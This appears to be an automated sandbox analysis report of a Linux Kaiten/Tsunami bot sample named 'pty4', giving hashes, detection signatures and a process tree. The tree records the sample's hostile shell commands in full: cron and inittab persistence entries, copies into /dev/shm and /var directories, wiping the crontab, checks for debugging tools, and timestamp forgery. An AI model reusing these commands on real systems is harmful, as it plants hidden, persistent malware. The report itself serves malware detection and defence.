Analysis
- max time kernel
43s - max time network
129s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
22/08/2026, 06:16
Behavioral task
behavioral1
Sample
pty4
Resource
ubuntu1804-amd64-20260513-en
10 signatures
150 seconds
General
- Target pty4
- Size 43KB
- Sample260822-g1p7rasaje
- SHA256 3e16c3bc39182471cac0c89b9883bd102d23d4bb938eb648c7d88b8649e857a9
- MD5 25d16799de2eed88a5c04fdc4fe4d64b
- SHA1 5bea3031c368b4cad26a92e80232ea41847cb708
- SHA512 1800a0c93857d19ad187155c0c7282964739eb0c8e7a874e3595623a742039c470f7bad268ba41b815fc4b55a01f59a850d3c944afb8c139a11ce61ec53d8d0f
- SSDEEP 768:aXkvhd+xT8f22JF+qqSFHZB4aehF1S1Y8+2vwqGHHmVXRjA:0Gy826FHZSae8Wf2vgHm5R0
- TLSH T1E313F102B9F9FD16F687ECF321887C9CB3BED89B0A717BEA2735186710B116141344A0
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Detects Kaiten/Tsunami Payload 1 IoCs
resource yara_rule behavioral1/memory/1504-1-0x0000000008048000-0x0000000008061864-memory.dmp family_kaiten_v3 - Creates/modifies Cron job 1 TTPs 5 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.59IGqg crontab File opened for modification /var/spool/cron/crontabs/tmp.uBcIvn crontab File opened for modification /var/spool/cron/crontabs/tmp.YVwkGs crontab File opened for modification /var/spool/cron/crontabs/tmp.zW6Drt crontab File opened for modification /var/spool/cron/crontabs/tmp.F1BxPz crontab - Enumerates running processes
Discovers information about currently running processes on the system
- Indicator Removal: Timestomp 1 TTPs 10 IoCs
Adversaries may remove indicators of compromise from the host to evade detection.
pid Process 1602 touch 1536 sh 1561 sh 1581 sh 1582 touch 1601 sh 1621 sh 1622 touch 1537 touch 1562 touch -
resource yara_rule behavioral1/files/fstream-8.dat upx - Changes its process name 1 IoCs
description pid Process Changes the process name, possibly in an attempt to hide itself 1504 pty4 -
description ioc Process File opened for reading /proc/14/cmdline pidof File opened for reading /proc/18/cmdline pidof File opened for reading /proc/317/cmdline pidof File opened for reading /proc/468/stat pidof File opened for reading /proc/514/cmdline pidof File opened for reading /proc/943/stat pidof File opened for reading /proc/12/cmdline pidof File opened for reading /proc/163/cmdline pidof File opened for reading /proc/694/stat pidof File opened for reading /proc/1175/cmdline pidof File opened for reading /proc/84/cmdline pidof File opened for reading /proc/166/cmdline pidof File opened for reading /proc/173/cmdline pidof File opened for reading /proc/480/cmdline pidof File opened for reading /proc/1072/cmdline pidof File opened for reading /proc/1343/cmdline pidof File opened for reading /proc/1162/cmdline pidof File opened for reading /proc/1501/cmdline pidof File opened for reading /proc/23/cmdline pidof File opened for reading /proc/16/cmdline pidof File opened for reading /proc/35/cmdline pidof File opened for reading /proc/84/cmdline pidof File opened for reading /proc/1042/cmdline pidof File opened for reading /proc/1509/cmdline pidof File opened for reading /proc/166/stat pidof File opened for reading /proc/172/cmdline pidof File opened for reading /proc/28/stat pidof File opened for reading /proc/115/cmdline pidof File opened for reading /proc/929/cmdline pidof File opened for reading /proc/1068/stat pidof File opened for reading /proc/1496/stat pidof File opened for reading /proc/7/stat pidof File opened for reading /proc/25/stat pidof File opened for reading /proc/29/stat pidof File opened for reading /proc/1063/stat pidof File opened for reading /proc/1308/cmdline pidof File opened for reading /proc/1335/cmdline pidof File opened for reading /proc/991/cmdline pidof File opened for reading /proc/1071/cmdline pidof File opened for reading /proc/6/cmdline pidof File opened for reading /proc/1054/stat pidof File opened for reading /proc/1107/stat pidof File opened for reading /proc/1141/cmdline pidof File opened for reading /proc/162/stat pidof File opened for reading /proc/78/cmdline pidof File opened for reading /proc/491/cmdline pidof File opened for reading /proc/30/stat pidof File opened for reading /proc/171/stat pidof File opened for reading /proc/20/stat pidof File opened for reading /proc/175/stat pidof File opened for reading /proc/504/cmdline pidof File opened for reading /proc/515/stat pidof File opened for reading /proc/20/cmdline pidof File opened for reading /proc/82/stat pidof File opened for reading /proc/259/cmdline pidof File opened for reading /proc/20/cmdline pidof File opened for reading /proc/89/cmdline pidof File opened for reading /proc/269/stat pidof File opened for reading /proc/488/stat pidof File opened for reading /proc/948/stat pidof File opened for reading /proc/1104/cmdline pidof File opened for reading /proc/115/stat pidof File opened for reading /proc/668/stat pidof File opened for reading /proc/1110/stat pidof - Writes file to shm directory 1 IoCs
Malware can drop malicious files in the shm directory which will run directly from RAM.
description ioc Process File opened for modification /dev/shm/pty4 cp - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.bawtz pty4
Processes
-
/tmp/pty4/tmp/pty41⤵
- Changes its process name
- Writes file to tmp directory
PID:1504 -
/bin/shsh -c "pidof -x strace > /dev/null"2⤵PID:1505
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/bin/pidofpidof -x strace3⤵
- Reads runtime system information
PID:1506
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-
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/bin/shsh -c "pidof -x tcpdump > /dev/null"2⤵PID:1509
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/bin/pidofpidof -x tcpdump3⤵
- Reads runtime system information
PID:1510
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/bin/shsh -c "cat /etc/inittab | grep -v \"/tmp/pty4\" > /etc/inittab2"2⤵PID:1516
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/bin/catcat /etc/inittab3⤵PID:1519
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/bin/grepgrep -v /tmp/pty43⤵PID:1520
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/bin/shsh -c "crontab -l | grep /tmp/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/pty4 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1517
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/bin/grepgrep -v "no cron"3⤵PID:1525
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/usr/bin/crontabcrontab -l3⤵PID:1521
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/bin/grepgrep /tmp/pty43⤵PID:1524
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1530
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/usr/bin/crontabcrontab -l3⤵PID:1532
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-
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/bin/shsh -c "crontab -r"2⤵PID:1518
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/usr/bin/crontabcrontab -r3⤵PID:1526
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/bin/shsh -c "echo \"0:2345:respawn:/tmp/pty4\" >> /etc/inittab2"2⤵PID:1528
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1531
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/bin/catcat /etc/inittab23⤵PID:1533
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1534
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/bin/rmrm -rf /etc/inittab23⤵PID:1535
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-
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1536 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1537
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/bin/shsh -c "/bin/uname -n"2⤵PID:1540
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/bin/uname/bin/uname -n3⤵PID:1542
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/bin/shsh -c "cp -f /tmp/pty4 /dev/shm/pty4"2⤵PID:1541
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/bin/cpcp -f /tmp/pty4 /dev/shm/pty43⤵
- Writes file to shm directory
PID:1543
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-
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/bin/shsh -c "cat /etc/inittab | grep -v \"/dev/shm/pty4\" > /etc/inittab2"2⤵PID:1545
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/bin/catcat /etc/inittab3⤵PID:1547
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/bin/grepgrep -v /dev/shm/pty43⤵PID:1548
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-
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/bin/shsh -c "crontab -l | grep /dev/shm/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/pty4 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1546
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/usr/bin/crontabcrontab -l3⤵PID:1549
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/bin/grepgrep -v "no cron"3⤵PID:1551
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/bin/grepgrep /dev/shm/pty43⤵PID:1550
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1555
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/usr/bin/crontabcrontab -l3⤵PID:1557
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-
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/bin/shsh -c "echo \"0:2345:respawn:/dev/shm/pty4\" >> /etc/inittab2"2⤵PID:1552
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1556
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/bin/catcat /etc/inittab23⤵PID:1558
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-
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1559
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/bin/rmrm -rf /etc/inittab23⤵PID:1560
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1561 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1562
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/bin/shsh -c "cp -f /tmp/pty4 /var/tmp/pty4"2⤵PID:1563
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/bin/cpcp -f /tmp/pty4 /var/tmp/pty43⤵PID:1564
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/tmp/pty4\" > /etc/inittab2"2⤵PID:1566
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/bin/grepgrep -v /var/tmp/pty43⤵PID:1569
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/bin/catcat /etc/inittab3⤵PID:1568
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/bin/shsh -c "crontab -l | grep /var/tmp/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/pty4 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1567
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/bin/grepgrep -v "no cron"3⤵PID:1572
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/bin/grepgrep /var/tmp/pty43⤵PID:1571
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/usr/bin/crontabcrontab -l3⤵PID:1570
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1575
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/usr/bin/crontabcrontab -l3⤵PID:1577
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/bin/shsh -c "echo \"0:2345:respawn:/var/tmp/pty4\" >> /etc/inittab2"2⤵PID:1573
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1576
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/bin/catcat /etc/inittab23⤵PID:1578
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1579
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/bin/rmrm -rf /etc/inittab23⤵PID:1580
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1581 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1582
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/bin/shsh -c "cp -f /tmp/pty4 /var/lock/pty4"2⤵PID:1583
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/bin/cpcp -f /tmp/pty4 /var/lock/pty43⤵PID:1584
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/lock/pty4\" > /etc/inittab2"2⤵PID:1586
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/bin/grepgrep -v /var/lock/pty43⤵PID:1589
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/bin/catcat /etc/inittab3⤵PID:1588
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/bin/shsh -c "crontab -l | grep /var/lock/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/pty4 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1587
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/bin/grepgrep -v "no cron"3⤵PID:1592
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/bin/grepgrep /var/lock/pty43⤵PID:1591
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/usr/bin/crontabcrontab -l3⤵PID:1590
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1596
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/usr/bin/crontabcrontab -l3⤵PID:1598
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/bin/shsh -c "echo \"0:2345:respawn:/var/lock/pty4\" >> /etc/inittab2"2⤵PID:1593
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1594
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/bin/catcat /etc/inittab23⤵PID:1597
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1599
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/bin/rmrm -rf /etc/inittab23⤵PID:1600
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1601 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1602
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/bin/shsh -c "cp -f /tmp/pty4 /var/run/pty4"2⤵PID:1603
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/bin/cpcp -f /tmp/pty4 /var/run/pty43⤵PID:1604
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/run/pty4\" > /etc/inittab2"2⤵PID:1606
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/bin/catcat /etc/inittab3⤵PID:1608
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/bin/grepgrep -v /var/run/pty43⤵PID:1609
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/bin/shsh -c "crontab -l | grep /var/run/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/pty4 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1607
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/usr/bin/crontabcrontab -l3⤵PID:1610
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/bin/grepgrep -v "no cron"3⤵PID:1612
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/bin/grepgrep /var/run/pty43⤵PID:1611
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1616
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/usr/bin/crontabcrontab -l3⤵PID:1618
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/bin/shsh -c "echo \"0:2345:respawn:/var/run/pty4\" >> /etc/inittab2"2⤵PID:1613
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1614
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/bin/catcat /etc/inittab23⤵PID:1617
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1619
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/bin/rmrm -rf /etc/inittab23⤵PID:1620
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1621 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1622
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path /dev/shm/pty4
- Size 43KB
- SHA256 3e16c3bc39182471cac0c89b9883bd102d23d4bb938eb648c7d88b8649e857a9
- MD5 25d16799de2eed88a5c04fdc4fe4d64b
- SHA1 5bea3031c368b4cad26a92e80232ea41847cb708
- SHA512 1800a0c93857d19ad187155c0c7282964739eb0c8e7a874e3595623a742039c470f7bad268ba41b815fc4b55a01f59a850d3c944afb8c139a11ce61ec53d8d0f
- SSDEEP 768:aXkvhd+xT8f22JF+qqSFHZB4aehF1S1Y8+2vwqGHHmVXRjA:0Gy826FHZSae8Wf2vgHm5R0
- TLSH T1E313F102B9F9FD16F687ECF321887C9CB3BED89B0A717BEA2735186710B116141344A0
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /etc/inittab
- Size 83B
- SHA256 7fbf43311d4796b4039c1b4336eee7ca6552be98203d1858d14cb6e37ea877e5
- MD5 c3df7eba718ab5494124e12efd721afb
- SHA1 1b42fd91a51a3a6a2a3e2baec1cd8abadd2c631f
- SHA512 f424c4d2d6f53c5c2ef64db057b52803146a17cf5492728709ecb7f2b07b8349890d8be3a689aeb68cd64333c1b527a8a39943b119a57e07c4ea97af76f1787f
- TLSH T103A00103F0712D9EA1F0A1A81B140202A2439700DE876B18C6433F72E20AF2AAD75026
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab
- Size 113B
- SHA256 7afb3d064700bcb2fec3b727de8e99eb2afebb919d4222ad3a92936b0ed714ae
- MD5 3eb623e3ff1934c48a37ba1dd32cebaf
- SHA1 42cad0982531e126bcf501cc46b41e590c5cc7fc
- SHA512 f3fc2e0504562090b2f9f42d8b90bfa074734dc9c2048e27e0f4e103dabca99a2abf471b2d61ec35001d03ce4b796a8cd140f20f74d35c83a52819dfececac3c
- TLSH T162B00207F4711DAEA1F4A5A81F540216A2435700DD476B18C5477F72E20AF2A6D75166
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab2
- Size 54B
- SHA256 031e3a9a99c03a49fea757df0d3ff52fc5dbcc07d37f2674efe21cae6529c370
- MD5 c61fe27473535c7ac532d70ed8182832
- SHA1 d5f3a809df3470eae8dd773da6727c33b46bf1dc
- SHA512 6d2e16886c925795851c4bde0aca83ef7618530756f83efda7f3102970b80d5ad300454ec2473b822c6cc058a57b63d2dd79d5d0a88852ecc184a1182ea6b3a8
- TLSH T160900203F0501D0DA1B0A0980B000201A2035700DD871B1881432E72E20AF2A6D74002
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab2
- Size 142B
- SHA256 53aca2a49a912146645bbb47d0abb1827520434abb907cadf77bc55b2572b099
- MD5 bd60346a01f1b4bde9993a6baa8183a2
- SHA1 ec6a317ad472790b18d0b662ac6992e226041c3e
- SHA512 c960e7d898096547cecee2376226203f2ef9ae88185b6ad52a4ecac742aa60c1ea699fc167a86201b9bc0102f029acc296c8a7bcd4e9f5793d5310cdb4faa098
- TLSH T1D6C04C03F0311CAEA4F061E80F180202A2434300DD436B08C5073F72E20AF2A6C70026
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab2
- Size 25B
- SHA256 a1a915c2d2d8b0997cea0c5885f31609e34ba6f5e9761f7a1fe5c292ae743dea
- MD5 6b150c167c13fb201746d5c31cb071c6
- SHA1 529600487af6ceb1f6686fea21eb40fd722ee626
- SHA512 4b62ff9c05083a4a7f603308e3c673b031eeb4813c26fd5dc130e377609558a8c07818657f96b38f7eaa2fc0a0915b90865620f230a056dc4ec8bb87ee4a9213
- MD5 SHA1 SHA512
- Path /var/spool/cron/crontabs/tmp.59IGqg
- Size 214B
- SHA256 6b29246da2d9e50b1c1f38d979d70f52ae41b2b954b4b3ac08f83115c64d6fad
- MD5 6c29b5ab55cc0123984d2f12fe6cef1b
- SHA1 8625949620013ec83b736011bd6e63b9dc2a85f1
- SHA512 dcdd79cefcae5a3e21583d1e1366f0a398dc1920509d74cec52ca37f3d9f9211178ebbab2d316c10ada2fc3888bb6b6a80d20ca2db8e66911d3691dc4d3983f1
- TLSH T130D022783B212C302E060B28119B1A2C6AC2F07E841DBE51E1EE0024020F38FAB40971
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.F1BxPz
- Size 387B
- SHA256 d940db7183a5a40625f5ddc3b7dabc5f2da711e3e6a71ae4ec5ea244c22f4e3d
- MD5 ffc83590896bd5e8c3ff7be806817692
- SHA1 356f900506c9aba6a497f2c742d1fc114ac854e2
- SHA512 a73b24c6c1fe5d4fb8ffd3fbea4eb8ed64cb56a188a6db1c2abc903fa18eef077cc89e3470067eb9be0c6d59cb60e5bc6ea8c2cf22b91bbbc8ca200275387ff1
- TLSH T166E09234B6611CE53C8A8A780A9F60942BC3B52A442C2E42F0CE6430504E34BA500A30
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.YVwkGs
- Size 300B
- SHA256 05c2fb914dda59f752e31e2e54d1262f7647a529584f26a80272a1c2308d8396
- MD5 16eea16b24ac6eba6f5183d6f0318a27
- SHA1 d84592d8ab1dad186b1a48894c32d8030f698c23
- SHA512 ab9402f1167075fd1cf207d6f36bd28fd2170c8cabd892bf6b4635dd6f7e6ecdfc205b226e0f2b7e6b9ad3cbd5ba5c5cabd11d53a6a5b1b76c4a9bd4da3eb1f2
- TLSH T11BE0C23477612CA039464B38169B25982BC3B53A842D6E51F1DE1430414E34BE600930
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.uBcIvn
- Size 257B
- SHA256 8104652b2c7e68c1fa59a3ee196b2b758ff4f756740ac109c5cc5a91e9f8e914
- MD5 5584b0c77b43fc3c01ade95c29dcec30
- SHA1 0489fa58f670c0d161a7a83c6ba0b0dd51bb4c33
- SHA512 0ebb96f702785ca2f422d9c7baa1bc0ece3f1d37b6cfd2c14926a824197448c8d4aa32be418cd5494b9938e29e1a872b6022f29accd2d2f3994630b98b64456d
- TLSH T12AD05E787B612C7039164B38169B25596B83B57E842D6E51F1DE0424414E78BAA50961
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.zW6Drt
- Size 344B
- SHA256 796f1775aea939a60ece983a0bfa6bf677a03da83c70eb4531afc38faa9de454
- MD5 4b287092edc53aa61426239e6fa4b250
- SHA1 b75f430f7b5b5ef99ec47895723527e37b72b1ad
- SHA512 665b49f87bc867ad5dd6945489d547e33c8488fef588962eca285491251a287163df3b06a4d0d220f9931777a49b9aaacf011bbe9ec8c9e4986d9187f089888e
- TLSH T16EE0863477711CE5398A8B781A9F65982BC3B53A442D6E51F1DF5430514E34BE640A70
- MD5 SHA1 SHA512 TLSH